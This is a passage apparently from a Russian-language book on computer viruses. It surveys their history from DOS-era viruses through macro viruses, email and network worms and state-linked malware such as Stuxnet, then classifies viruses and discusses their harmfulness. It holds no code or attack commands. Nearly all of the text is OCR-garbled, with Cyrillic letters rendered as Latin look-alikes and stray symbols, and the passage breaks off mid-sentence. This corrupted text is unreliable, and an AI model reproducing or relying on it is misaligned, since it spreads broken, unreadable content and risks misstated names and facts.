M 3HAMEHUTBIH <«MysbiKajbHblii> Doodle-2C.2885) u ap. Kpome roro,
AKTUBHO MOJKJIIOUUJIICDH K [IPOIECCY HAIMCAHUS BUPYCOB U OTEYECTBEH-
ubie iporpammucTsr: Bupycol cemeiicts XPEH, SVC, Voronezh u muornx
APYTUX OBICTPO PACIIPOCTPAHSLIUCH 110 CTPAHE BMECTE C KOMITBIOTEPHBIMU
UTPaMU, TPUKJIAHBIMUA U CHCTEMHBIMU [TPOTPAMMAMU, KOTOPBIMU 0OMe-
HUBAJINCH MEXIY COOON HUYEro He T003peBaloliue mosb3oBarenu. 1o
BocriomunanusaMm /. H. Jlosunckoro, B 1990—-1992 rr. emy npuxoaunioch
BBIITYCKATh HOBYIO BEPCUIO CBOEN aHTMBUPYCHOI IPOrPaAMMbI [[BA pa3a
B Henemio. He ckydyasum u aBTOpbl APYrux aHTUBUPYCOB, TOJIYYUBIIUX
xoskieHue B Te rojipl, Hanpumep B. B. bornanos (AntiAPE), A. Bopucos
(AVSP), Alan Solomon (DrSolomon) u ap.

A KOJINYeCTBO BUPYCOB U BUPYCHBIX CEMEICTB IIPOJOJIKAJIO CTpe-
MUTEJIbHO YBEJIUYUBATHCS. V1 OCHOBHYIO OIACHOCTb HECJIU HE CTOJIBKO
anugeMun TpoheccHoHaIbHO HAlMCAHHBIX ImegaeBpoB Tuma Dir.1024
(Driver.1024) win «ynadHo» 3aMyIHIEHHBIX B JKUBYIO TIPUPOY 1OCTATOU-
Ho psimoBbix Bupycos Tuna Michelangelo (March-6), ckosbko BceBos-
pacraioiias JlaBUuHa IIPOCTHIX, BO MHOTOM HOBTOPSIIONIUX APYT APYyTa, KO-
POTKOKUBYIIUX 1101€JI0K. VIMeHHO 510 06cTositenbeTBo B 1992—1993 rr.
[IOPOJIMJIO KAYeCTBEHHO HOBbBIII BUTOK B 3CKAJIAIUHU [TPOTHUBOCTOSHUS
«BUPYC—aHTUBUPYC». ABTOPbI AHTUBUPYCHBIX [POrPAMM HAYATH HC-
[10JIb30BaTh B CBOUX IPOAYKTAX MEXAHU3M IBPUCIIUUECKO20 AHAIU3A,
[IO3BOJISIBIINI aBTOMATHYECKH PACIIO3HABATH HOBbIE, €llle He U3BECTHbIE
BHUPYCOJIOTaM 3JK3EMILISIPbl KOMIIBIOTEPHON MHMEKIIUU 110 TUIUYHBIM,
XapaKkTepHbIM UMEHHO [IJIs1 BUPYCOB (hparMeHTaM Koja u onepaimsim. Mx
OIIIOHEHTHI OTBETUJIH CO3aHUEM NOAUMOPDHBLX BUPYCO8, IBA JTIOOBIX K-
3EMILISIPA KOTOPBIX XOTsI U PAGOTAIIH [0 OIHOMY U TOMY K€ JITOPUTMY, HO
He co/iepsKaau BHYTPH cebst MOCTOSHHBIX (hparMeHToB Koza. Bosee Toro,
Bce ToT ke Dark Avenger cziestast JoCTyITHOM JIJIs1 ITIUPOKUX MACC «3aMHTe-
PECOBaHHBIX JIMYHOCTEN» TexHosoruio MtE, mo3BosBIINyio 1O0CTATOUHO
[IPOCTO MOAKIIOYATH MEXAHU3M MOJTUMOPMOHOCTH K JTI0OOMY BUPYCY, axkKe
CaMOMY TIPUMHUTUBHOMY, MHOTOKPATHO YBEJIHYUBASI TEM CAMbIM €r0 CO-
[IPOTUBJISIEMOCTH K OOHAPYKEHUIO.

Cepenuna 90-X To0B IIPOILIA IO 3HAKOM OOPbObI UMEHHO C BBICO-
KOCJIOXKHBIMU, [OJYAC MHOZONIam@PopmerHoimu (TO €CTb CIOCOOHBIMU
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3apakaTh [IPOrpaMMbl PAa3JIMYHBIX THUIIOB) Bupycamu. lllanc Ha pacrpo-
CTpaHEHHUE TOJIyYyadu TOJBKO OYEHDb M3OIIPEHHbIE BUPYCHI, HAIPUMEpP
npuHaziaexamme k cemeiicream OneHalf, Natas, Zhenghi, Ukraine,
NutCracker, RDA.Fighter, Kaczor u jip., Harucars KOTOpPbIE MOT JJAJIEKO
He KaK/BII IIPOrpaMMUCT. B ¢BOIO ouepeb, BUPYCOJIOTH B35/ HA BOOPY-
JKeHUe KpaliHe CITOKHbIE MEXaHU3MbI AMYASAYUL KOOd, TO3BOJISIBIIIIE UMU-
THUPOBATH UCIIOJIHEHUE TIPOTPAMM M PEarnpoBaTh y:Ke He CTOJbKO Ha T0-
no3puTebHble (hparMeHThl ITPOTPAMM, CKOJIBKO HA UX MOJI03PUTEJIbHBIE
neiicteust. Ha cmeny npoctbiv antuBupycam tumna AidsTest mpuxoauim
Gosee caoxuble paspaborku, Hanpumep DrWeb nurepua WM. Janumosa.
CuTtyarys HeCKOJIbKO CTaOUIM3UPOBAIACH, HO HEHAJIOJTO.

Ko BTOpoii nmososure 90-x 10708 GOJNBIIMHCTBO HOJIb30BaTEIEH YiKe
Iepenwio B CBoell paboTe Ha ONEpalMOHHBIE CUCTEMBI ceMeiicTBa MS
Windows. Mamenninch KaHajbl paclipocTpaHeHust U cojaepskanue aii-
JIOB, KOTIMPYEMbIX C KOMIIbIoTepa Ha Komribiotep. Ha cMeny auckeram
HPUILTH KOMITAKT-IUCKH U ryI00aibHbie ceTu. Bce walie BMECTO Wrp U
YTHJIUT ¢ KOMITBIOTEPA Ha KOMITBIOTED MePeAaBaIich 300pakeHust, 6asbl
JIaHHBIX, JOKYMEHTBbI. BUPYCHI, 3apakaiolniie Takue sKOObI «HEUCIOJ-
HUMBIe> (hailibl, TIPOCTO 00sA3aHbI GBI TIOSBUTHCS, U OHU TIOSIBUJIKCH)
ITepBoii slacTOYKOI craj Tak HasbiBaeMblil makposupyc Macro.Word.
Concept (seto 1995 1.), 3apaskaBUInii CIIEUATN3NPOBAHHbIE TTPOTPAMMBbI
Ha Makposisbike WordBasic, koTopble cojepsKaanuch BHYTPU I0KYMEHTOB
tekcrosoro npoueccopa MS Word. TToToM KOIMYeCTBO MaKPOBUPYCOB
CTAJIO YBEJIMYMBATHCA € TAKOM JKe CKOPOCTDIO, C KAKOH BCETO 32 HECKOJIBKO
Jiet 110 atoro Muokuiuch MS-DOS-upycsl. [TosBuinch MakpoBUpychl
11 9IeKTponnbix Tabmuy MS Excel (manpumep, smamenutsiii Macro.
Excel.Laroux) u 6a3 gannbix MS Access. Bour ocBoen Mmakposiabik VBA,
KOTOpbIil (hupmoii Microsoft «iocraBisiicss Ha BOOpPY’KEHHE» BMeECTe
¢ nosbivu Bepcusimu MS Office. ITuk pacrpocTpaHeHHOCTH MaKpPOBH-
pycos nputiesca Ha 1998—-2000 robl, cpeayn «iaypeaToB» MOMKHO Ha-
3BaTh Macro.Word.Cap, Macro.Word97.Class, Macro.Word97.Ethan,
Macro.Word97.Marker, Macro.Word97.Thus u npounx. B HoBoM Beke
KOJIMYECTBO BHOBb CO3/IaBA€MbIX MAKPOBUPYCOB 3aMETHO YMEHBIIIUJIOC,
a yepe3 HECKOJIbKO JIeT ¥ BOBCE COIIJIO Ha HeT.

Kpowme toro, k 1996 r. BupycomnucaressiMmu ObLI HAKOHEI[-TO pa3pabo-
TaHbI CIIOCOOBI TIPOCTOTO U HAJIEKHOTO 3apaskenust Windows-miporpaMm.
Koneuno, nanucanne Windows-BUpycoB — He Takas IIPOCTas 3afada I
TpebyeT HOCTATOYHO BBICOKOU KBaiuU(MUKAIUKU, HO B YCIOBHUSIX HEpas-
BUTOCTU COOTBETCTBYIOIIETO aHTUBUPYCHOTO OOECIeYeHUsT U HEBEepHst
HoJIb30BaTejiell B BO3MOKHOCTD pacipocrpanenuss Windows-«3apasbi»
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noBropusiach curyanus KoHma 80-x rogoB. OTHOCUTEIHHO HEMHOTOYUC-
senHbie Windows-BUpPyChbI cyMesin OBICTPO PACIPOCTPAHUTHCS MO BCEMY
mupy. Aniocdeozom crasa akrusaiust Bupyca Win9X.CIH («YepHoObLb-
ckoro») B aripesie 1999 r., koTopast mpuBesa K MOBPEK/IEHUIO COTEH ThICAY
KOMIIBIOTEPOB BO BceM Mupe. [o/1oM 1103:ke «IIporpeMes» 4pe3BblYaiiHO
3apasubiii Bupyc Win32.FunLove, ncrounukamu pacripocTpaHeHust Ko-
TOPOTO HEOZHOKPATHO CTAHOBUJIMCH CIYYailHO MH(UIMPOBAHHbIC JMC-
TpUOYTUBbI, Pa3MeIlleHHbIe HA WHTEPHET-caliTaX KPYIHEHIuX Mpon3Bo-
auTeseil mporpaMMHOro obecriedenus. A notom Windows-Bupychbl Toxe
OTOIIJIM HA BTOPOM TIJIaH, XOTS MPOrpaMMHO-aIIapaTHble yCJIOBUS, CO-
JeCTBYIONINE UX CYIIECTBOBAHUIO U PACIIPOCTPAHEHUIO, HE N3MEHUJINCD
U OCTAIOTCSI OTHOCUTENHHO OJIATONPUATHBIME JIJIs 9TOTO BUIA <3apasbl»
710 CHX TIOD.

Bwmecto aToro BupycornucaTesnu IpUHAINCh aKTUBHO OCBAMBATH HOBBIE
IyTU PacIPOCTPAHEHUsT «3apa3bl» — depes robaibHyo ceth VIHTEpHeT.
Ouenb MPOCTOIl 110 Uzee u peanusanuu Bupyc-yepsb Melissa B ToMm ke
ampene 1999 r. 32 HECKOJIBKO CYTOK CyMeJI MHOTOKPATHO «00ekKaTh» BCIO
IIJIaHeTY, BbI3BAB IAHUKY CPelU TT0JIb30BaTes el M CUCTEMHBIX a/IMUHUCT-
patopos. Clemyionas MaTuiaeTKa 3allOMHUJIACh B OCHOBHOM MOJIHME-
HOCHBIMHU 10 CKOPOCTH «PACIIOJI3aHUA» U UCKIIOUUTENBHO OOITMPHBIMU
110 PACIPOCTPAHEHHOCTU AMUAEMUAMM CETEBBIX U MTOYTOBBIX BUPYCOB 1
yepseit VBS.LoveLetter, E-Worm.Win32.Swen, E-Worm.Win32.Klez,
Net-Worm.Win32.LoveSan, E-Worm.Win32.MyDoom, Net-Worm.
Win32.Sasser u npounx. B 2005 rogy nosiBUJINCH TPU3HAKKA TOTO, YTO
U 9TU JMUIEMHUU CTAJIHM TIOTUXOHBKY CTUXaTh. Ha cMeny rimobaibHbIM
BMUEMUAM HECKOJIbKUX JIECATKOB Pa3/IMYHbIX YepBell MPUILIN TPAKTH-
YeCKHU He TIPeKpaliaionifecs «<MUKPOINUAEMUN», BbI3bIBAEMbIe MacCaMiu
MEJIKUX MOAUDUKAIUI HECKOTIBKUX «0a30BbIX Pa3paboTOKy, — HAIIpUMep,
OJIHUX TOJIBKO Pa3HOBUHOCTEN uepBsi Bagle HacunThIBaeTCSI HECKOIBKO
Thicsa4. Kpome TOTO, COXpaHUIM YMEPEHHYIO aKTyaJbHOCTb U BUPYCHI
«CTapbIX» TUIIOB, IPOCTO PO HUX CTAJIN MEHBIIIEe TOBOPUTH. B MUPOBBIX
Maciitabax OHU «He JIETAIOT TOTO/IbI», HO BCTPEUYAIOTCS B «[HMKOU TIPH-
po/ie» 10 CUX T10P.

[Touemy ke TIOKOJIEHUS BUPYCOB CMEHAIOT APYT JApyra 6e3, Ka3anoch
Obl, JIOCTATOYHO BECKUX OOBEKTUBHBIX MPUUUH? J[€710 B TOM, UTO CHJIb-
HOE BJIMSIHIE Ha MUPOBYIO BUPYCHYIO <ITOTO/ly» OKa3bIBaeT CyObheKTUB-
HbII cOlMaNbHbIN (haKTOP, N3BECTHBIN I10]] HA3BaHUEM «MOjia». B yciio-
BUSX PACTYIIETO TPOTUBOIEICTBIS, OKA3bIBAEMOTO BUPYCAM CO CTOPOHDI
BUPYCOJIOTOB U TI0JIb30BaTejiell, HEOPTaHW30BAaHHOE BUPYCOINHMCATEb-
CKOe cOODIIEeCTBO MeueTcsi, OpocaeTcst U3 OJHOU KPAHOCTH B JAPYTYIO,
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B JII060I MOMEHT TOTOBO M3MEHUTH HAPABJIEHUE CBOEH JIeATENBbHOCTH,
€CJIU 3TO U3MEHEHHe 0OEIaeT BOSMOKHOCTD «IIPOCTABUTHCSI» MPOIIE U
6oictpee. Kpome T0OT0, ¥ 3HAYMTEIbHON YacTH KubEpaHaerpayH/ia B mo-
CJIe[HUE TO/Ibl U3BMEHUJIACh MOTUBAIME, TaK UTO «CJIaBa» CTaja IEeHUTD-
cS Ky/la MEHbIIIE, YeM <«JIEHbI'U» U «BJIACTH». DTO IPUBEJIO K MACCOBBIM
MUTpaIusM ObIBIINX BUPYCONUCATENEH B CTAH «TPOSHIIUKOB», TO €CTh
B CTaH IIPOM3BOJMTENECH CAMOCTOSTEJBHO HE PA3MHOXKAIONIETOCs, HO
KpaiiHe BpeIOHOCHOTO (IIOXUNIAIONIEro KOH(pUIeHIUAIbHYI0 nH(hOpMa-
I[I10, PACCHLIAMOIIETO CIIAM U T. I1.) TPOrpaMMHOro obecreuenust. Hako-
Hell, CO3/JaHueM BPEIOHOCHBIX MPOrpaMM MpoheCcCUOHANBHO 3aHATNCH
CTPYKTYPBI (BEPOSITHO, CHEICAYKOBI U CUIIOBBIE BEIOMCTBA PA3JIMUHBIX
CTPaH), KOTOPbIe 3aMHTEPECOBAHBI HE B MACCOBBIX ATMNIEMULX, A B TOYEY-
HBIX aTaKaX Ha OTPAaHWYEHHBbINA KPYT 1iesieil. Tak, Harpumep, B CO3JaHUN
U pacrpoCcTpaHEeHUN «IMMTUOHCKNUX Tporpamm» Magic Lantern (2001 1.)
n R2D2 (2011 r.) momozpesaior ®BP CIIA u mosunuio OPT cootBert-
CTBEHHO, 2 aBTOPCTBO «60eBoro» yepss Stuxnet (2010 r.) npunuceBaior
TeM MOJUTUYECKUM CTPYKTYPaM, KOTOPBIM He BBITOIHO Pa3BUTHE si/iEP-
Holi iporpammbl Mpana.

Hacrosiee Bpems xapakTepusyeTcs OSIBJICHIEM BCe HOBBIX M HOBBIX
TUIIOB BUPYCOB, aKTUBHO OCBAUBAIONTNX MHOTOYMCJIEHHBIE «/[BIPBI» B 32-
HIUTHBIX MeXaHU3MaX MHMDOPMAIUOHHBIX cucTeM. KosmuecTBO 06HAPY-
JKEHHBIX MTOTEHIIMAJIbHBIX 1eJiell [JIs 3apaskeHns BUPYyCaMM yBeJIMYNBa-
€TCs ¢ KaK/IbIM TO/IOM. BUPyChl HayunImch pacipocTpaHAThCSA He TOJIbKO
BMECTE € MPOrpaMMaMU, JOKYMEHTAMH, 9JEKTPOHHBIMU TabJaHIaMU 1
html-crpanunamu, Ho u BMecte ¢ 6a3aMu JaHHBIX, H300PAKEHUSAMHE, ap-
XMBaMU, U Jla’ke OCBOMJIN COTOBYIO TesiechoHHYIO ¢Bsi3b. Kpome Toro, cTa-
pbI€ <JIBIPBI» TOKE ellle MOJHOCTBIO He 3aJIaTaHbl, U TPAJAUIIMOHHBIE THITHI
BUPYCOB TO-IIPEKHEMY B JIIOOOH MOMEHT CIIOCOOHBI «OCYACTIMBUTD> MU-
POBOE KOMITBIOTEPHOE COOOIIECTBO CBOUM TIPUCYTCTBUEM.

Bimkaiiime HECKOIBKO JIET 00eIaloT HEMAIO SIPKUX U MHTEPECHBIX
coObITHil Ha (DPOHTE AHTUBUPYCHOI 6OPHOBI.

1.3. Kakne b6biBaloT BUPYChI

Asapm  xkraccupuxamopa u  KOIICKUUOHEPa
60pyz npoOyouICcs: 6 Hem.

A.n B. Crpyranxkue. «OTAromeHHbIe 3J10M»

Panee MBI yske UCTTOIB30BAIIN PSI TEPMUHOB, OTHOCSIIITXCS K PA3TMYHBIM
THIIaM BUPYCOB. Terepb pacCMOTPUM 3TH KJIacCU(pUKAIUU MOoAPoOHEe.
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1.3.1. Knaccudukaumua no cnocody ucnosib3oBaHus
pecypcos

B Hacrostiiiee BpeMst 11e7iecO00pPa3HO PasIyaTh eUpycol-napasumol (A
MIPOCTO BUPYCHL) N BUPYCL-uepsu (MITH TIPOCTO Uepsul).

[IepBble pa3MHOKAIOTCS € MCITOJIb30BAHUEM PECcypCoB, NPUHAJIEKA-
MUX pyruM mporpamMMmamM. Hampumep, oHM BHEAPSIOTCS BHYTPb 3THX
MIPOTPaMM 1 aKTUBUPYIOTCSI BMECTE € X 3aITyCKOM.

Bropsle, kak mpaBmio, UCHOJb3YIOT TOJBKO PECYPChl BBIYUCIUTENb-
HBIX crCcTeM (OTIePaTUBHYIO M I0JITOBPEMEHHYIO TTAMSITD, HEITPOTPAMMHBIE
baitibr), pacchlyiasi CBOM KOIUU O CETSM, PACKIABIBAS UX 110 HOCUTEISIM
urbopMarmu, 6ydepam maMsaTH, Ty;KUM apXUBaM U T. I. UepBU aBTOHOM-
HBI, K /IDYTUM IIPOrPaMMaM OHH He TTPUKPETJISTIOTCSI.

1.3.2. Knaccudumkauma no tuny 3apaxaembix
00beKTOB

B cooTBetcTBUM € 3TON KiaccubuKanyell BUPYChl MOKHO Pa3/ieTuTh Ha
npozpammmvle, 3azpy30unvle, MAKPoBUPYCLL T MHOZONAAMPOPpMEHHble BU-
PYCBL

IIpoepammmvie BUPYCHI 3apaskatoT (aityibl 1pyrux mporpamm. [Ipumep:
supyc Win9X.CIH, napasutupytomnuii Ha Windows-miporpammax.

3azpy3ounvle BUPYCHI 3apaskaloT WM MOAMEHSIOT MaJeHbKHe IIPO-
TPaMMKH, HAXOJSIIHECS B 3arPY30YHBIX CEKTOPaX KECTKUX JIMCKOB, JINC-
ket u uatiek. [Ipumepom Moxet cayskuth Bupyc Michelangelo.

[MutaTenbHON Cpemoil IS MAKpoBUPYCO8 CIYKAT <«MaKPOCBI» WU
«CKPHUIITBI», TO €CTh CHEIUAIN3NPOBAHHbBIE TTPOTPAMMHbBIEC KOMITOHEHTHI,
HaMCaHHbIE HA S3bIKAX CUeHapUes N HaXosd1uecs: BHyTpHU (ailios pas-
JIMYHBIX O(DUCHBIX MPUIOKEHUN — oKyMeHTOB MS Word, a/ieKTpOoHHBIX
tabsmiy MS Excel, mzo6paskenuii Corel Draw u mpouero. TIpumepsr: Bu-
pyc Concept, 3apakatormuii qokymertst MS Word; supyc Laroux, 3apa-
satoruii Excel-raGiruiibr.

Mmnozonnam@popmennvie BUPYCHl MapasUTUPYIOT OMHOBPEMEHHO Ha
oObexTax pasanuHbix TunoB. Hanpumep, Bupyc OneHalf.3544 s3apaxa-
eT Kak mporpamMMbl MS-DOS, tak 1 3arpy30uHble CEKTOPa BUHYECTEPOB.
A Bupycsr cemeiictBa Anarchy, kpome mporpamv MS-DOS u Windows,
CIIOCOOHBI 3apakaTh Takske JokyMeHThl MS Word.

1.3.3. Knaccudukauma no npuHuunam aktmeauum

ITo 9TOMY TIpHU3HAKy BUPYCbI HeJIeCOO6p33HO pa3aeJinTb Ha peauGeHmete
n H@pe\’)’ua@?—lmﬂble.
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Pesudenmunie upycvl TOCTOSTHHO HAXOJSATCSI B MAMSITU KOMITbIOTEPA
B aKTUBHOM COCTOSIHWM, OTCJIEKMBAIOT MOIBITKU OOPAIIEHUS K KEPTBAM
CO CTOPOHBI IPYTUX [IPOrPAMM U OTIEPAIIMOHHOM CCTEMbI U TOJIBKO TOT/IA
3apakaioT ux. Hampumep, ucrnosHuMbie IporpaMMbl 3apaskaioTcsi B MO-
MEHT 3aIlyCKa, 3aBepIlieHus PaboThl UM KOMUPOBaHUs uX (aiijos, a 3a-
IPy30UHbIE CEKTOPA — B MOMEHT 0OpalieHus K auckeram. [Iprumepamu mo-
IoOHBIX BUPYCOB sBJsitorcs Bee Te ke OneHalf.3544 (B cpene MS-DOS)
u Win9X.CIH (8 cpene Windows 95/98/ME).

Hepesudenmuwie supycol 3alyCKalOTCSI B MOMEHT CTapTa 3apakKeH-
HBIX HOCHUTeJIel, BpeMsi UX aKTUBHOCTHU orpanudeno. Hampumep, Bupyc
Vienna.648 «GoapcrByer» TOJIBKO HECKOJBKO MIHOBEHMII cpa3y IHocJie
3aIlyCcKa 3apa’keHHON UM IIPOTPAMMBI, HO 32 9TO BpeMs yCIieBaeT Haii-
TU HA IUCKE MHOKECTBO HOBBIX JKEPTB U MIPUKPENUTHCS K HUM, & IOTOM
nepeiaeT yipasjieHnue CBOeMy HOCUTEJIO U «3aChINAeTs JI0 CJIeAYIONIero
3aIrycKa.

B MHOro3aauHbx OnepanroHHbIX CUCTEMAX BO3MOKHBI «NOJYpe3si-
Oenmmvle»> BUPYCHL OHU CTAPTYIOT KaK HEPE3UIEHTHbIE, OPTAHU3YIOT
cebs B BUjle OT/ENBHOrO MOTOKA 3allylNIEHHONW MPOrPaMMbl, BECh CPOK
paboThI ATOM TPOTPaAMMBbI BELYT cebst CJIOBHO PE3UIEHTHBIE, a TOTOM 3a-
BepIIAIOT padoTy BMeCTe ¢ IporpaMMoii-HocuteneM. Ilpumep — Win32.
Funlove.4070.

1.3.4. Knaccudukaumsa no cnocoOy opraHusauum
nporpaMMHOro Koga

IDTOT TAKCOHOMUUYECKUI TTPU3HAK TI03BOJISIET BBIIEJITh HE3AUUDPOsaAl-
Hble, 3auUUpPosanibvie U NOJUMOPHHbLE BUPYCDIL

Hesawugpposanivie supycol TPENCTABISIIOT COOOI MPOCTBIE MTPOTPAM-
MBI, KOJl KOTOPBIX He MOBEPraeTcsi HUKAKOW JTOTOJHUTETbHON 06paboT-
ke. Takue Bupycol (Hanpumep, Vienna.648) jierko obHapysKuBaTh B IIpoO-
rpaMMax, MCCJIe[0BaTh IIPU MOMOIIH [H3acCeMOJIEPOB U IEKOMITHISITOPOB
U yIAJISITh.

Kox sawugposannvix supycos, Kak mpaBuio, MoBepraeTcs HEKOTOPHIM
BUJIOM3MEHEHUAM. BUpyc 3apaskaeT kepTBbI cBoell 3ammppoBaHHON KO-
e, a mocse crapra pacimdposbiBaer ee B mamsati IBM. TIpu obHa-
PYKEHNU, NU3YYEHNHN N YAAJIEHUN TaKNX BUPYCOB BOSHUKAIOT TPYAHOCTH,
TaK KaK BUPYCOJIOTY HEOOXOAUMO KaK MIUHUMYM BBIOJHUTH OOPAaTHYO
onepaiuio — pacimudposky Koga. O6bUHO 3a1U(POBKA BUPYCOB COIPO-
BOJK/IA€TCsI MCIIOJIb30BAHIEM B KOJIE CIIEIIMAIBHBIX AHTHOTIA0YHBIX [TPH-
emoB. ITpumep Takoro Bupyca — Sayha.Diehard.
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Haxkowuertt, norumopgnuie supycot — 310 pa3HOBUIAHOCTD 3alTndpoBaH-
HBIX BUPYCOB, KOTOPbIE MEHSIOT CBOI JBOMYHBIN 00pa3 OT 9K3eMILIsIpa
K aK3eMIisipy. Hampumep, mosuMop@HBIMU SBISIOTCS BCe BUPYCHI ce-
meiicrBa OneHalf. YacTHbiM cirydaeM 1OJUMODPMHBIX SBJSIOTCS Mema-
MOp¢hHble BUPYCHI, KOTOPbIE He MudpyIOT ABOMYHbII 00pa3 CBOETO TeJa,
a TIPOCTO TIEPECTABISAIOT MECTAMH €TI0 KOMAH/Ibl U 3aMEHSIOT UX aHAJIOTa-
MU, BBITIOJIHSTIONTUMHY Te Ke feiictBus. [Ipumep: Win32.ZMyst.

1.3.5. Knaccudukauua Bupycos-yepseii

Yaiite Bcero OHa BBITIOJIHSETCS TI0 CII0co0y pactpoctpanenst. [Toumogvie
uepeu (Haripumep, E-Worm.Win32.Aliz) pactpocTpaHsiroTcs 0 3JI€KT-
POHHOII TIOYTe, B BU/E BJIOKEHWH («aTTadeii») B 2JIEKTPOHHBIE MHCh-
Mma. Cemesvie uepeu (UMX ellle MHOT/IA HA3BIBAIOT <UHMEPHEM-UEPEAMU» ),
Takre Kak, Harmpumep, Net-Worm.Win32.Lovesan, ucIob3yoT st
CBOETO PACIPOCTPAHEHMST HETIOCPEJCTBEHHO CETEeBbIE MTPOTOKOJIBI U Pac-
chuTatoT cebsi BHYTpU MH(MOPMAIMOHHBIX TAKeTOB. «Tlenegonnvies, wim
«mobunvnvies, wepeu (nanpumep, Cabir), ssBiagionmecss pasHOBUIHOCTHIO
«CETEeBBIX», TIPU CAaMOPACIPOCTPAHEHUH MOJIL3YIOTCS clrielu(pruuecKuMu
POTOKOJIaMK OECIIPOBOHOTO MH(POPMAIIMOHHOTO 0OMEHA, TAKUME KaK
BlueTooth. A ussecrhbie emte ¢ 1980-X ron08B (aitiosvie uepsu (Harpumep,
Mkworm.713) caMoCTOATEIbHO He PACIPOCTPAHSIOTCS ¢ KOMIIbIOTEPA Ha
KOMIIBIOTED, BMECTO 3TOTO OHM PACKJIABIBAIOT CBOM MHOTOUUCJICHHBIE
KOIUU TI0 PAa3JIMYHBIM KaTaJI0raM PAa3IMuHbIX HOCUTeJel mHhOpMaIuu 1
«3acoBbIBaloT» X B ZIP- 1 RAR-apxusBsbI.

1.3.6. Mpouue knaccudpukauumn

CyuiecTByer elle HeMaJlo BUPYCHBIX TAKCOHOMUI, IIOPOM JOBOJIBHO CTPaH-
Hbix. Harpumep, 10pucTaM BbITOAHO J€JIUTh BCE BUPYCHI HA «BY/Lb2APHbIE>
(cocTosiye U3 eIUMHOTO HEAEAUMOro (parMenTa) u «pasopobienivies
(cocrosiiye U3 OTAEIbHBIX (PPArMEeHTOB, He SBJSIOIIUXCSA BUPYCAMHU, HO
CII0COOHBIX 00BEAUHATHCS B OAHY BUPYCHYIO IIPOrpaMMy ). A JKypHaJIc-
Tbl, He MMEIOL[Me HUKAKOIO IPEACTABICHUSI O PEeAJbHOM YCTPOUCTBE U
BO3MOKHOCTSIX BHPYCOB, 00CYKIAIOT «Y€ThIPE MOKOJEHUS JeCTPYKTHB-
HOCTHU», IPUYEM BUPYChI, IIPUHAJIEIKALIIE TIOC/IeHEMY IIOKOJIEHUIO, SIKO-
Obl ClIOCOOHBI BO3/IeICTBOBATD Ak HA UeJI0BEYECKUI MO3T.

Pasymeercst, Hac nogoOHast «HeHay4yHas (haHTaCTUKa» MHTEPECOBATH
He GyJIer.
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1.4. O «BpeAHOCTU» N «NOAE3HOCTU»
BUPYCOB

«Hanama, — 2060pUJL OH. — Bpafo Mbl C 6AMU 3A-
KOHUUM 3MOM 6eCCMbICAEHHDLLL cnop».

A. u B. Crpyraukue. «Ipaz oOpedeHHbINH»

Bormpoc He Tak mpocT, Kak MOTJIo ObI TOKa3aThCst Ha MepBbiil B3rs. K 3a-
BE/IOMO BpeZIOHOCHBIM Bupycam, Hanpumep k Win9X.CIH, otHomenue
ofiHo3HaYHO HeratuBHOe. HO Kak ObITh ¢ BUPyCaMU, He COAEPKAMMMU
IeCTPYKTUBHBIX (PPArMEHTOB, C TEMH, KOTOPBIE TPOCTO PA3MHOKAIOTCST?
Bupyc, HanmcaHHbI KBaTMGUINPOBAHHBIM U «COBECTIIBBIMY> aBTOPOM,
MPaKTUYECKW He3aMeTeH U OesBpeieH. Bompeku pacrnpocTpaHEHHOMY
MHEHUIO TAKUX BUPYCOB HEMAJIO, 0JIee TOTO, MX He MEHEE MOJIOBUHBL

o npepnosxkenuto E. Kacriepckoro ¢ 4ncTo TeXHUYeCKON TOYKY 3PEHUs
BCE MHOKECTBO CYIIECTBYIOIIUX KOMITBIOTEPHBIX BUPYCOB MOJKET ObITh
pasziesieHo Ha TP IPYTIIBL:

QO ouenv onacnvlie BUPYCHI, TIpelHA3HAYEHHBIE JIST YHUUTOKEHS
JNaHHBIX WM OJOKMPOBaHUS PaGOThl KOMIbIOTEpa (HAIPUMED,
Win9X.CIH crocoben haTambHo 3a6MBaTh «<MyCOPOM» — CIIyYaii-
HBIMU JIAHHBIMU, HE HECYIIIMMU HUKAKON CMbICJIOBON HATPY3KH, —
Flash-BIOS u mepesanuchiBaTh TaKUM e «MYCOPOM» CEKTOpa
BUHYECTEPA);

QO onacnvle BUPYCHI, IPUCYTCTBHE KOTOPHIX HA KOMIBIOTEPE MOKET
MPUBECTH K HEKEJATETbHBIM TIOCTE/ICTBUSM — HAIIPUMEp, BUPYC
Jerusalem.1808 HexkoppekTHO 3apakaj HEKOTOPBIE MPOTPAMMEI,
B pe3yJibraTe 4ero OHU CTaHOBUJIMCH HEPaOOTOCIIOCOOHBIMU;

Q 6esepeduvie n Heonacuvle BUPYCHI, HUKAK He BIMSIONNE HA paboTy
KOMIIBIOTEPA ¥ COXPAHHOCTD JIAHHBIX, — HATIPUMEP, GOJIBITNMHCTBO
BUPYCOB ceMelicTBa Search.

Koneuno, 310 nesienne ycioBHO. B wacTHOCTH, MMeeTCs TEHIEHTTS TIO-
CTEIIEHHOTO TIEPEXO/Ia C TEUECHUEM BPEMEHH Psijia BUPYCOB 13 KJracca «6e3-
BPEHbBIX» B KJIACC «OMACHBIX». ITO IPOUCXOUT IIOTOMY, YTO OIIEPAI[UOH-
HbI€ CHCTEMBbI ITOCTOSIHHO PA3BUBAIOTCS U UBMEHSIOTCS, & BBIITYIIEHHbIE
B «JIUKYIO TPUPOLY» BUPYCHI — HeT. Kak pesysbrar Kakoi-HuOY b uieasb-
HO TIpriciiocobseHHbiil Kk cpexe MS-DOS Bupyc, ckopee BCEro, BbI30BET
pOOJIEMBbI TIPH 3aMycKe HHMHUITMPOBAHHOM UM porpaMMbl o Windows.
Ho, ¢ apyroit cTOpoHBI, €CTh KJIacChl BUPYCOB, HA KOTOPBIE 3TO TIPABUIIO
[IPAKTUYECKU HE PACIIPOCTPAHSIETCSI, HATIPUMED KJIACC MAKPOBUPYCOB.
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Ho Bce-taku HanboIIbINMIT HHTEPEC BBHI3BIBAECT HE CTOJNBKO KJIaccuu-
KalUsi yKe CYIIECTBYIOIUX MPENCTABUTEIEN 2JIEKTPOHHOM «hIOpbi» U
«(hayHbI», CKOJIBKO TIOTIBITKA OTBETUTH HA KOHIIENTYaJIbHbIE BOTIPOCHI, TI0-
CTaBJIEHHbIE MAKCUMAJIHHO TITHPOKO.

Bo3MOKHO J111 HancaTh abCOMIOTHO Oe3BpeIHbLI BUPYC?

B03MO3KHO JIi HAITUCATH BUPYC, KOTOPbI IIPUHOCUIT ObI TT0JIB3Y ?

Haub6onee moxpobuo sty mpobiaemy ucciaenosan Beccenun Bonues
